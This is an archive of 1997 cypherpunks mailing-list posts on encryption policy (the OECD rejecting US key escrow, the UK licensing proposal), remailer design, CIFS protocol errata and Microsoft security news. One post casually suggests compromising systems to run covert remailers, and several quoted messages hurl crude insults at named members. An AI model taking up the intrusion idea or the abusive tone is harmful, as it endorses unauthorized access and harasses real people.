>(copyright, >trademark, defamation, tortious interference [...] 

>Your "contract" model (which looks like you really mean it to be a 
>waiver of warranty/damages and/or an indemnification agreement) 
>addresses (1) to the point of overkill, but it doesn't reach (2), 
>because there's no contract with the third party, who is the party who's
>likely to be filing suit.
>(Indemnification by the sender might work, if you worded the contract
>correctly - but then you've got to abandon anonymity, and the value of
>indemnification from person you don't know whose assets/finances are
>unknown is pretty low.)
>
>Further, some fraction of the messages causing concern are message sent 
>or available to minors .. whose contracts (modulo some exceptions) are 
>voidable at their option. :(

>>..[disclaimers]..
>[doesn't help 2 for same reason]



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From jya at pipeline.com  Thu Mar 27 04:10:21 1997
From: jya at pipeline.com (John Young)
Date: Thu, 27 Mar 1997 04:10:21 -0800 (PST)
Subject: OECD: No GAK
Message-ID: <1.5.4.32.19970327120223.006d3e30@pop.pipeline.com>


   The New York Times, March 27, 1997, pp. A1, D3.

   U.S. Rebuffed in Global Proposal For Eavesdropping on the
   Internet 

   By John Markoff

   In a setback for the Clinton Administration that
   demonstrates the difficulty of setting global policies for
   the Internet, the leading industrial nations have declined
   to embrace a United States proposal to allow computer
   eavesdropping by the world's law enforcement agencies.

   The United States proposal, backed by Britain and France,
   was an attempt to restrict the private use of increasingly
   advanced data-scrambling technology that can protect the
   privacy of electronic mail and other forms of computer
   communication. The equipment can make it difficult for law
   enforcement officials to crack a code when they suspect it
   is masking criminal or terrorist activities.

   The proposal called for international endorsement of a
   system in which mathematical keys to computer-security
   codes would be held by escrow agents from whom law
   enforcement officials could obtain the keys once they have
   a court's wiretapping warrant.

   But policy guidelines scheduled to be released in Paris
   today by the 29-nation Organization for Economic
   Cooperation and Development fail to endorse the United
   States proposal. And they leave such leeway for members to
   regulate data-scrambling technology--or not--that computer
   security experts say any uniform international policy
   remains elusive.

   "The difficulty with the guidelines is that anybody can
   interpret parts of them in their own way," said Konstantine
   Papanikdaw, a policy analyst for information security at
   the European Commission in Brussels.

   Indeed, the industrial world seems to be deeply divided on
   whether governments can ever legitimately eavesdrop on the
   electronic communication of their citizens. Because
   messages on the Internet are easy to intercept, a growing
   number of individuals and corporations are protecting the
   privacy of their communications and the security of their
   commercial transactions by scrambling such information.

   Some O.E.C.D. nations, including Britain and France, have
   either outlawed or are in the process of tightly regulating
   the private use of data-scrambling systems. But other
   nations--including Australia, Canada Denmark and
   Finland--have policies that protect individual privacy.
   Among other member nations, Japan had initially resisted
   the United States proposal but was said to be moving closer
   to it, while Germany remained deeply divided.

   Most other countries, inside or outside the O.E.C.D., have
   yet to confront the data-scrambling issue. And even the
   United States has a somewhat contradictory national policy
   that permits citizens to use whatever data-scrambling
   software they wish within the nation's borders, but
   restricts the export of the most up-to-date computer-coding
   technology.

   That seeming contradiction, however, did not prevent the
   Clinton Administration in recent months from waging a
   vigorous behind-the-scenes effort for its proposal. And
   hoping to resolve some of the policy conflicts, the
   Administration is now circulating draft legislation on
   Capitol Hill which would attempt to control even the
   domestic use of data-scrambling software and establish a
   key-escrow system for the United States.

   While the O.E.C.D. has no authority to set international
   policy, its recommendations are frequently used by member
   nations in setting their own foreign and trade policies.
   And the privacy and law-enforcement aspects of the Internet
   are issues on which member governments have been desperate
   for guidance.

   But even though most of the O.E.C.D. discussions involved
   law enforcement officials, who have been the main advocates
   for measures that would insure their ability to crack
   codes, European officials say that there was never much
   agreement on what to do.

   And so the primary recommendation in the report, a copy of
   which was obtained by The New York Times, simply gives
   O.E.C.D. member nations the latitude to do as they see fit
   when it comes to data scrambling, which is formally known
   as cryptography.

   "National cryptography policies may allow lawful access to
   plain text, or cryptographic keys, or encrypted data," the
   report says.

   Privacy-rights advocates see the O.E.C.D. guidelines as a
   critical setback for the Clinton Administration. "The U.S.
   proposal to endorse lawful access to private keys was
   explicitly rejected by the O.E.C.D. member countries," said
   Marc Rotenberg of the Washington-based Electronic Privacy
   Information Center and a member of the O.E.C.D.'s advisory
   group. "The O.E.C.D. chose instead a policy based on
   voluntary, market-driven development of cryptography
   products."

   And even supporters of the United States position
   acknowledged that guidelines were a disappointment.

   "The United States probably had more success raising
   consciousness then getting language that could he treated
   as an endorsement for key recovery," said Stewart Baker, a
   former National Security Agency official who participated
   on the American delegation to the O.E.C.D.

   Meanwhile, executives for the United States computer
   industry were critical of the O.E.C.D. for even leaving the
   door open for governments to set national policies on data
   scrambling.

   "We think that markets, not governments, should be the
   primary determinants of technology solutions," said Jon
   Englund, a vice president at the Information Technology
   Association of America, a trade group.

   Many experts question whether governments can ever hope to
   insure law enforcement access to electronic messages or to
   restrict the spread of super-strong coding software,
   because new, more powerful versions can always be developed
   and easily transmitted over the Internet in the blink of an
   eye.

   And any international effort is almost certainly doomed if
   some countries refuse to go along with a common approach,
   because people looking for strong encryption can simply
   acquire it wherever the laws are lax. In fact, the big
   German company Siemens A.G. recently introduced an
   encryption system that it advertises as being much more
   powerful than American companies can export under United
   States law.

   Besides the United States, France and Britain both support
   a system for enabling law enforcement officials to obtain
   keys to data-scrambling codes. France has already passed a
   stringent law that requires participation in such a system,
   although the rules to carry out the law have not yet been
   worked out.

   And in recent days, Britain has quietly circulated the most
   restrictive proposal of any nation, a domestic policy under
   which the Government would allow private use only of
   cryptography that was officially licensed, to make sure
   that the software uses code that law enforcement officials
   can crack.

   Under such laws, of course, criminals and terrorists might
   logically choose to use unauthorized encryption software.
   But the mere fact that such use would be a crime may be a
   deterrent--or give the police grounds to arrest anyone
   whose communications were indecipherable.

   In Germany, encryption remains a deeply divisive issue. The
   Interior Ministry has supported the need for encryption
   restrictions of some sort, but the Justice Ministry and the
   Economics Ministry have both signaled their opposition. And
   German businesses have been outspoken opponents against any
   new restrictions on data scrambling.

   Meanwhile, United States export restrictions have been a
   boon for Brokat Informationssysteme G.m.b.H., a
   two-year-old start-up company in Boblingen, Germany. Brokat
   supplies secure electronic transaction software for banks
   like Deutsche Bank and on-line services like America Online
   in Europe.

   One of Brokat's hottest products is the Expresso Security
   Package which essentially adds strong encryption to the
   World Wide Web browsers and Internet server software sold
   by two of the largest American software companies--
   Microsoft and Netscape Communications.

   [End]







From toto at sk.sympatico.ca  Thu Mar 27 04:15:53 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 27 Mar 1997 04:15:53 -0800 (PST)
Subject: [Proposal:] Revolving Web Mirrors
In-Reply-To: <3.0.1.32.19970327012849.0063bcc8@popd.ix.netcom.com>
Message-ID: <333A551E.C23@sk.sympatico.ca>


Bill Stewart wrote:
> 
> >> Maybe a mailing list/news group that could
> >> post current URL's for the mirrors?
> 
> Having the pattern matcher look for (and delay) potential mirror lists
> is more productive, since you can catch them at the Nationalist Firewall
> before they get into the country.  Maybe.  If readers know what to
> look for in their news postings, censors probably do to.
> 
> Email is tougher - the Bad Guys don't need to find the source of the
> mirror listings (presumed to be in a non-cooperative country,
> if you can find it at all) - they can find the recipients of the lists,
> and go beat them up.

  Maybe it's time to set up an "InterNet Free Europe" type of program.
Crypto and remailers seem to be well-suited to the task of implementing
the dissemination of information and protecting identities of the many
individuals who would be involved.
  CyberHackers could compromise a few systems, to turn them into 
innocent remailers, and this would open the door for the administrators
of other systems to 'fake' system attacks, and do some remailing 
themselves.
  CryptoRebels could disseminate encryption programs containing the
public keys that would be used for the InterNet broadcasts in certain
cases.

  One of the keys to "InterNet Free World" (a better name?) would be
to make a habit of disseminating a plethora of 'false' encrypted 
messages with little or no meaning, and no available key, as a cover 
for the messages that are actually targeted for certain users or
systems.
 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From real at freenet.edmonton.ab.ca  Thu Mar 27 07:49:36 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 27 Mar 1997 07:49:36 -0800 (PST)
Subject: PKC
In-Reply-To: <199703270740.CAA29935@dhp.com>
Message-ID: <Pine.A41.3.95.970327084637.6952A-100000@freenet.edmonton.ab.ca>


On Thu, 27 Mar 1997, lucifer Anonymous Remailer wrote:

Vulis pill time.

> might bite your penis.
> 
>    /\ _ /\          |
>   |  0 0  |-------\==
>    \==@==/\  ____\ |
>     \_-_/ _||    _||
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html
                                             : real at freenet.edmonton.ab.ca
Graham-John Bullers                      email
                                             : ab756 at freenet.Toronto on.ca    
                   Moderator of alt.2600.moderated






From real at freenet.edmonton.ab.ca  Thu Mar 27 07:56:57 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 27 Mar 1997 07:56:57 -0800 (PST)
Subject: Corrupted "From:" headers in my posts
In-Reply-To: <eLq84D40w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970327085338.6952B-100000@freenet.edmonton.ab.ca>


On Thu, 27 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

Pill time Vulis
> 
> Yes indeed - Cocksucker John Gilmore is the man in the middle,
> getting it from Greg Broils and giving it to Sandy Sandfart.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html
                                             : real at freenet.edmonton.ab.ca
Graham-John Bullers                      email
                                             : ab756 at freenet.Toronto on.ca    
                   Moderator of alt.2600.moderated






From lucifer at dhp.com  Thu Mar 27 08:12:16 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 27 Mar 1997 08:12:16 -0800 (PST)
Subject: MC / My Computer?
Message-ID: <199703271612.LAA05007@dhp.com>


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From hallam at ai.mit.edu  Thu Mar 27 08:20:50 1997
From: hallam at ai.mit.edu (Hallam-Baker)
Date: Thu, 27 Mar 1997 08:20:50 -0800 (PST)
Subject: UK domestic crypto regulation proposal *is* Clipper
In-Reply-To: <199703270440.UAA22819@toad.com>
Message-ID: <199703271620.LAA23414@muesli.ai.mit.edu>


> 
> I've seen several comments on cypherpunks that misconstrue the UK proposal.
> E.g. Phillip Hallam-Baker said:
> 
> > First off the proposals are not intended as a Trojan horse for
> > the Clipper chip "or any other colonial scheme".
> > ...
> > They are emphatically not trying to introduce a Clipper chip proposal.
> 
> Unfortunately, I believe he is wrong.  It's worse than Clipper, since
> it outlaws the competition.
> 
> The proposed legislation would make it illegal to offer the UK public
> any service related to key management, including simply signing
> peoples' keys, without being licensed by the state. 

After making my first posting I re-read the last half of the DTI proposal
and came to the same conclusion as Gilmore. The first half explicitly
denies that they are enforcing GAK, then the specific legislative
proposals propose GAK.

Like much of the governments activities the DTI report is transparently
deceitfull. 

Fortunately there is no need to get too worked up about it. Its a green
and these proposals will go nowhere if the Tories lose the election.
Since they are twenty points behind and curently facing fresh allegations
of bribe taking this does not seem very likely.

The current Home Secretary is a walking civil rights threat. So far he has
abolished the right to silence, to demonstrate and is haulled up in front 
of the courts for abusing his office on a practically monthly basis. GAK
would be the least of worries were they to be elected.

Unfortunately his Labour shadow appears to have been trying to out-thug
him. If Howard proposed the return of hanging Straw would demand drawing
and quartering. 

Since the Labour opposition have been the target of a considerable amount of
improper use of wire-taps and other forms of surveillance there are many 
who are likely to be very usefull allies.

The real question is whether the pro-crypto message becomes widely known 
before the civil service starts whispering in ministers ears.


	Phill






From andy at CCMSD.chem.uga.edu  Thu Mar 27 08:24:34 1997
From: andy at CCMSD.chem.uga.edu (Andy Dustman)
Date: Thu, 27 Mar 1997 08:24:34 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <3.0.1.32.19970327001712.0065b100@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.94.970327105022.9176l-100000@neptune.chem.uga.edu>


On Thu, 27 Mar 1997, Bill Stewart wrote:

> Andy's model of a remailer in which the remailer sends the recipient 
> a delivery notice with a disclaimer/waiver/etc. and the recipient returns
> it to pick up the message raises the level of politeness and lowers
> the amount of surprise compared to current remailers, so it's a 
> potentially big win.  If I start up a remailer again some year,
> other than a middleman, it'll definitely need this kind of feature.
> Building the positive public reputation of remailers and remailer
> operators is a critical part of keeping the remailer system running,
> at least as much as convenient, widely-deployed software.

Well, I hope to have something for you soon. I've been too busy over the
last few months to work on it, but that may be changing. I'll make an
appropriate announcement when it's ready.

> For posting to Usenet, the "we have an anonymous posting, anybody want it"
> approach doesn't sound highly practical, though it could be done,

I mentioned this in another post, but USENET posts would simply have the
disclaimer and not a delivery notice.

> There's also the problem of publishing acceptable newsgroup lists,
> since failing messages silently is unfriendly to users, but 
> there's a traffic analysis problem (Bad Guys can watch who fetches
> remailer use policies and build up their dossiers.)

I've made stats/keys/help for dustbin available via WWW at
http(s)?://porky.athensnet.com/~dustman/dustbin. The truly paranoid can
use https://www.anonymizer.com.

I have considered the possibility of auto-encrypting to recipients: 
Encrypt using the recipient's public key if it is on the remailer's
keyring or on the key server (which I can quickly check via http). Two
problems: What if the user generates a new key? Some mechanism needs to
exist for the user to inform the remailer, since it already has a key on
its keyring and won't check the server. And: Malicious users can put
phoney keys on the keyserver so the real user gets encrypted stuff that
they can't decrypt.  Solution: Keys need to be verified by magic cookie
exchange before they are used. Users mail their public keys to the
remailer, perhaps even through a remailer chain. The software gets their
e-mail address from the key ID, sends them an encrypted magic cookie, the
user decrypts with their secret key, mails it back to the remailer (signed
and encrypted). For a very low-risk remailer (more risky than middleman,
perhaps), you could require all recipients to supply PGP public keys
before delivering messages, an interesting twist on "PGP only" :). This
would be great for nym chains, not so great for other things, though the
remailer could resort to middleman operation in the case of recipients who
haven't supplied keys. Dustbin does something related already: If the
recipient is a known remailer, it doesn't chain; otherwise it selects a
remailer to chain through. (Note: I don't consider a USENET group a
"recipient".)

--
Andy Dustman / Computational Center for Molecular Structure and Design / UGA
You can have my PGP public key by sending mail with subject "send file key".
You can have my PGP secret key when you pry it out of my cold, dead neurons.
http://charon.chem.uga.edu/~andy    mailto:andy at CCMSD.chem.uga.edu    <}+++<






From alan at ctrl-alt-del.com  Thu Mar 27 08:37:39 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Thu, 27 Mar 1997 08:37:39 -0800 (PST)
Subject: KRAP
In-Reply-To: <199703262100.QAA13328@upaya.multiverse.com>
Message-ID: <3.0.1.32.19970327082300.02e373e0@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 05:21 PM 3/26/97 -0600, Toto wrote:
>Jeremey Barrett wrote:
>
>> >  Key Recovery Agents Plan
> 
>> I dunno, but they couldn't have picked a better acronym :-)
>
>  Good eye. I read about it and never noticed their
>truth-in-advertising acronym.
>
>  You are hereby awarded 50,000,000 Toto Eca$h credits.
>  (1,000,000,000,000,000,000 = 1 peso)

Actually the anacronym was posted a couple of months ago.  (Check the
archives, if they still exist.)

In the original posting, I pointed out that if they are the Key Recovery
Alliance, then what they produce mut be Key Recovery Alliance Products (aka
KRAP).  But then that was on a parellel universe/listserv.

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---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|





From bubba at dev.null  Thu Mar 27 10:34:04 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Thu, 27 Mar 1997 10:34:04 -0800 (PST)
Subject: Higher Sources / Index
Message-ID: <333ABD3A.3347@dev.null>

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From bubba at dev.null  Thu Mar 27 10:34:13 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Thu, 27 Mar 1997 10:34:13 -0800 (PST)
Subject: Heaven's Gate / Main
Message-ID: <333ABD6C.68D4@dev.null>

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From sunder at brainlink.com  Thu Mar 27 11:16:27 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 27 Mar 1997 11:16:27 -0800 (PST)
Subject: [NTSEC] CIFS Authentication Protocol Errata (fwd)
Message-ID: <Pine.SUN.3.91.970327141856.11156B-100000@beast.brainlink.com>




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Wed, 26 Mar 1997 23:21:52 -0800
From: Paul Leach <paulle at microsoft.com>
To: "'cifs at listserv.msn.com'" <cifs at listserv.msn.com>,
    "'WWW-SECURITY at ns2.rutgers.edu'" <WWW-SECURITY at ns2.rutgers.edu>,
    "'NTBUGTRAQ at RC.ON.CA'" <NTBUGTRAQ at rc.on.ca>,
    "'ntsecurity at iss.net'" <ntsecurity at iss.net>
Subject: [NTSEC] CIFS Authentication Protocol Errata

Sharp eyed reviewers have already caught the following errors in
CIFS-Auth (CIFS Authentication Protocol), draft 3.
A new version will be forthcoming shortly.

In paragraph 2 of section 1.1, it should say:
The response is computed by DES encrypting a challenge (a nonce)
selected by the server with three keys derived from the user's password.

In section 1.2,
	[s]<n:m>	be the "n" bytes of s starting at byte "m".
should be clarified to be:
	[s]<n:m>	be the "n" bytes of s starting at byte "m" (the
first byte is numbered 0).

In step 1 of section 1.4,
was:
	Kb = [Ks]<7:8>
	Kc = [Ks]<15:2>, Z(5)
should be:
	Kb = [Ks]<7:7>
	Kc = [Ks]<14:2>, Z(5)

In step 4 of section 1.4
was:
	Kb' = [Ks']<7:8>
	Kc' = [Ks']<14:2>, Z(5)
should be:
	Kb' = [Ks']<7:7>
	Kc' = [Ks']<14:2>, Z(5)
and
	Km' = Ks, R
should be
	Km' = Ks', R

In step 6 of section 1.4,
C:	MS' = [MD5(Km, SN, Msessr, CC, CS)]<8>
should be
C:	MS' = [MD5(Km, SN, Msessr,)]<8>

In step 2 of section 1.5, there is a missing right bracket:
	S->C:	Mrsp, [MD5(Km', SN', Mrsp)<8>
should be:
	S->C:	Mrsp, [MD5(Km', SN', Mrsp)]<8>

> ----------
> From: 	Paul Leach
> Sent: 	Tuesday, March 25, 1997 1:18 PM
> To: 	'cifs at listserv.msn.com'; 'WWW-SECURITY at ns2.rutgers.edu';
> 'NTBUGTRAQ at RC.ON.CA'; 'ntsecurity at iss.net'
> Subject: 	CIFS Authentication Protocol Review
> 
> We are releasing preliminary drafts of the proposed fixes to the
> CIFS/SMB authentication protocols for widespread public review. If
> they pass review, they will be in Service Pack 3 for NT 4.0. 
> 
> The original protocol from which the new version descends was designed
> more than a decade ago; recently, quite a few weaknesses have been
> found in those previous versions. This latest revision is an attempt
> to repair those weaknesses with as small a change to the protocol as
> possible, so that it can be incrementally and rapidly deployed. 
> 
> All three documents are available in .doc, .txt and postscript.
> 
> Information on how to get them is available from:
> ftp://ftp.microsoft.com/developr/drg/cifs/sec.htm
> 
> All followup discussion should be on the CIFS mailing list at
> CIFS at listserv.msn.com.
> 
> Your comments are actively solicited.
> ------------------------------
> Paul J. Leach
> paulle at microsoft.com
> 






From announce at lists.zdnet.com  Thu Mar 27 11:20:41 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Thu, 27 Mar 1997 11:20:41 -0800 (PST)
Subject: ZDNet Members-Only:  JavaOne Discount!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.21057.03271997105440.140213@tahiti.merc.com>


-----------------------------------------------------------------------------
           ZDNET ANNOUNCEMENT          3/26/97
-----------------------------------------------------------------------------

Greetings from ZDNet!

Ziff-Davis, a Silver co-sponsor of JavaOne(sm) has an exclusive offer 
for ZDNet Members:  Attend JavaOne(sm) on April 2-4 for a  *SPECIAL* 
low rate of $995, a $200 discount!

What:        JavaOne, Sun's 1997 Worldwide Java Developer Conference
Where:       Moscone Convention Center, San Francisco, California
When:        April 2-4, 1997

Here's your chance to get in-depth technical knowledge directly from the 
source:  Sun's Java Development Team. JavaOne(sm) is three very full 
days of intensive Java learning from the people who invented Java.  
If you are an Internet developer or want to be one, you won't  want to miss it!  
Keynotes will be delivered by Scott McNealy, James Gosling, Alan Baratz, 
Vinton Cerf, Eric Schmidt, and Jeff Johnson.

In addition to the three day conference, there will be loads of extracurricular 
activities that will further your opportunity to learn about Java and to meet 
other Java developers.  For complete information on the conference, visit the 
JavaOne web site at http://java.sun.com/javaone/

To register at this special rate of $995, please call 800-668-2741 (US & 
Canada), or 415-372-7077 (International) before March 28, and refer to source 
code "JAVAZIFF."  If space is still available, you can register at this special rate 
on-site too, but you will have to mention source code "JAVAZIFF."

For more Information: 

http://java.sun.com/javaone/
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415-372-7077 (International) 

_______________________________________________________________      

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From declan at well.com  Thu Mar 27 11:42:31 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 27 Mar 1997 11:42:31 -0800 (PST)
Subject: heavensgate.com?
Message-ID: <v0300780eaf607dc93069@[168.161.105.191]>


Does anyone have a copy of the heavensgate.com web pages?

I've found a couple mirrors of Higher Source already.

(If you don't know what I'm talking about, look at
http://www.yahoo.com/headlines/970327/news/stories/suicides_7.html)

If you want to send something anonymously, finger -l declan at eff.org for my
PGP public key.

-Declan







From toto at sk.sympatico.ca  Thu Mar 27 14:11:44 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 27 Mar 1997 14:11:44 -0800 (PST)
Subject: Microsoft ammunition
In-Reply-To: <9703272018.AA19999@banshee.BASISinc.com>
Message-ID: <333AF0A6.6C81@sk.sympatico.ca>


>From Infoworld:

March 24, 1997

            Coda dependency may contribute to the fall of the
            great Gates empire

            Last week's column demonstrated that Microsoft is
            unable to respond to the network computer in its
            usual "co-opt the technology" manner -- a fact
            that may signal the turning point in the company's
            history. (Why am I leaving Intel out of this
            prediction, you ask? Because it is in a far more
            flexible position than Microsoft. Its chips can
            run anything. Microsoft needs them to run
            Windows.)

            Add to this NC threat the mounting troubles for
            Microsoft, and it's no wonder there's no joy in
            Redmond tonight.

            Look at the trends. According to International
            Data Corp., Microsoft SQL Server for Windows NT
            has been losing significant market share for two
            years to competing products that run on multiple
            platforms. Microsoft's Wolfpack clustering
            technology is turning out to be a Chihuahuapack.
            (See "Toothless Wolfpack," March 17.) Seemingly
            endless rapid-fire announcements by ISVs to
            support standards such as Java, JDBC, LDAP, IMAP4,
            and CORBA are shoving Microsoft's TAPI, MAPI,
            ISAPI, "SLAP-HAPI," and a host of other
            Microsoft-centric specifications right out of the
            limelight.

            By now you have undoubtedly heard more than you
            want to hear about the fellow in Germany who
            demonstrated that a malicious ActiveX control can
            secretly empty your bank account. Leaks, bugs, and
            hastily cobbled service packs have been drawing
            attention to the immaturity of Windows NT. And,
            most recently, college kids have found more holes
            in Internet Explorer than it takes to fill the
            Albert Hall. (My apologies to those outside the
            Beatles generation who don't get the reference.)

            Meanwhile, Microsoft has crushed or alienated
            practically every potential partner that might
            otherwise have helped it out of its current fix.

            Network hanky panky

            This latest Microsoft Internet Explorer security
            dustup really isn't a bug, it's a feature.
            Internet Explorer was built to make it easy to
            launch a file, whether that file is on your hard
            drive or sitting on a server somewhere in
            Freedonia. Unfortunately, it took someone outside
            Microsoft to realize last August that the file one
            launches from Explorer could be a Word for Windows
            document packing a malevolent macro.

            Then, in the past few weeks, .URL, .LNK, and .ISP
            files were added to the danger list. Then it
            surfaced that Microsoft's Common Internet File
            System opens the door to network hanky panky. This
            is clearly a company that isn't used to thinking
            outside of the universe of the local LAN. The
            Microsoft patches configure Explorer to ask your
            permission before launching a potentially
            dangerous file type (similar to Netscape
            Navigator). OK, but this solution makes it
            virtually impossible for Microsoft or anyone else
            to integrate a browser seamlessly into the Windows
            desktop.

            If seamless, safe desktop access to remote files
            on the Internet is the goal, Microsoft is spinning
            its wheels. There is really only one way to
            provide these features without introducing a local
            security risk. You have to eliminate the
            possibility that anything you run can affect your
            local drives. Better still, get rid of your local
            drives.

            In short, a Java-based browser is a good way to do
            it, but a Java-based network computer is best.
            Which brings us back to the conclusion of last
            week's column.

            But, if you're tired of the repetition, here's a
            reason you should sit through another sermon:
            RandomNoise's Coda. Coda lets you design entire
            Web pages in Java rather than use a mixture of
            HTML content, tags, and Java applets.

            Most pundits seem to be fixated on the fact that
            Coda gives you a way to display fancy fonts that
            HTML can't handle. Our own Bob Metcalfe is the
            only one I know of who addressed the bigger
            picture. (See From the Ether, March 10). He
            pointed out that Coda may lead the way toward
            replacing HTML with Java.

            A Java-based Web page removes the distinction
            between application and data. It presents data
            just as an HTML page would, but every element on
            the screen has the potential to be an interactive
            part of a sophisticated application.

            In other words, the Web page becomes both powerful
            and safe enough to earn the right to be the new
            desktop user interface to the world. But Internet
            Explorer and Windows are nowhere in that equation.

            So is Microsoft in a batting slump, or is this the
            beginning of the end? Personally, I think
            Microsoft can pull out of this one. All it would
            have to do to fully recover is turn Windows NT
            into Unix, drop Distributed Component Object Model
            for CORBA, phase out its Windows-centric protocols
            for platform-independent standards, adopt
            NetWare's Novell Directory Services, kill ActiveX,
            port SQL Server to several different platforms,
            and abandon the idea of integrating Internet
            Explorer into the desktop.

            Well, I'm going to take a nap. Wake me when all
            that happens.






From tcmay at got.net  Thu Mar 27 16:13:20 1997
From: tcmay at got.net (Timothy C. May)
Date: Thu, 27 Mar 1997 16:13:20 -0800 (PST)
Subject: heavensgate.com?
In-Reply-To: <v0300780eaf607dc93069@[168.161.105.191]>
Message-ID: <v03007800af60b73611b5@[207.167.93.63]>


At 2:43 PM -0500 3/27/97, Declan McCullagh wrote:
>Does anyone have a copy of the heavensgate.com web pages?

>If you want to send something anonymously, finger -l declan at eff.org for my
>PGP public key.

Wouldn't just using an anonymous remailer work better? Encrypting a message
to your public key and then mailing it will not preserve sender anonymity.

Doing both would maybe be better, but for casual journalistic
whistleblowing, the remailers are more important than encrypting to the
recipient (unless Declan fears interception at _his_ site).

(Am I missing something?)

--Tim, whose parents live less than two miles from the Departure Zone for
the Hale-Bopp Shuttlecraft

(P.S. Does this mean the San Diego Cypherpunks meetings will be more
lightly attended?)


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ichudov at algebra.com  Thu Mar 27 16:21:29 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 27 Mar 1997 16:21:29 -0800 (PST)
Subject: Microsoft ammunition
In-Reply-To: <333AF0A6.6C81@sk.sympatico.ca>
Message-ID: <199703280014.SAA01221@manifold.algebra.com>


Great news, Toto. 

The wisest people are already avoiding MS products and are using free
software like Linux to its fullest capacity.

Cc-ed to Bill Gates.

igor

Toto wrote:
> 
> >From Infoworld:
> 
> March 24, 1997
> 
>             Coda dependency may contribute to the fall of the
>             great Gates empire
> 
>             Last week's column demonstrated that Microsoft is
>             unable to respond to the network computer in its
>             usual "co-opt the technology" manner -- a fact
>             that may signal the turning point in the company's
>             history. (Why am I leaving Intel out of this
>             prediction, you ask? Because it is in a far more
>             flexible position than Microsoft. Its chips can
>             run anything. Microsoft needs them to run
>             Windows.)
> 
>             Add to this NC threat the mounting troubles for
>             Microsoft, and it's no wonder there's no joy in
>             Redmond tonight.
> 
>             Look at the trends. According to International
>             Data Corp., Microsoft SQL Server for Windows NT
>             has been losing significant market share for two
>             years to competing products that run on multiple
>             platforms. Microsoft's Wolfpack clustering
>             technology is turning out to be a Chihuahuapack.
>             (See "Toothless Wolfpack," March 17.) Seemingly
>             endless rapid-fire announcements by ISVs to
>             support standards such as Java, JDBC, LDAP, IMAP4,
>             and CORBA are shoving Microsoft's TAPI, MAPI,
>             ISAPI, "SLAP-HAPI," and a host of other
>             Microsoft-centric specifications right out of the
>             limelight.
> 
>             By now you have undoubtedly heard more than you
>             want to hear about the fellow in Germany who
>             demonstrated that a malicious ActiveX control can
>             secretly empty your bank account. Leaks, bugs, and
>             hastily cobbled service packs have been drawing
>             attention to the immaturity of Windows NT. And,
>             most recently, college kids have found more holes
>             in Internet Explorer than it takes to fill the
>             Albert Hall. (My apologies to those outside the
>             Beatles generation who don't get the reference.)
> 
>             Meanwhile, Microsoft has crushed or alienated
>             practically every potential partner that might
>             otherwise have helped it out of its current fix.
> 
>             Network hanky panky
> 
>             This latest Microsoft Internet Explorer security
>             dustup really isn't a bug, it's a feature.
>             Internet Explorer was built to make it easy to
>             launch a file, whether that file is on your hard
>             drive or sitting on a server somewhere in
>             Freedonia. Unfortunately, it took someone outside
>             Microsoft to realize last August that the file one
>             launches from Explorer could be a Word for Windows
>             document packing a malevolent macro.
> 
>             Then, in the past few weeks, .URL, .LNK, and .ISP
>             files were added to the danger list. Then it
>             surfaced that Microsoft's Common Internet File
>             System opens the door to network hanky panky. This
>             is clearly a company that isn't used to thinking
>             outside of the universe of the local LAN. The
>             Microsoft patches configure Explorer to ask your
>             permission before launching a potentially
>             dangerous file type (similar to Netscape
>             Navigator). OK, but this solution makes it
>             virtually impossible for Microsoft or anyone else
>             to integrate a browser seamlessly into the Windows
>             desktop.
> 
>             If seamless, safe desktop access to remote files
>             on the Internet is the goal, Microsoft is spinning
>             its wheels. There is really only one way to
>             provide these features without introducing a local
>             security risk. You have to eliminate the
>             possibility that anything you run can affect your
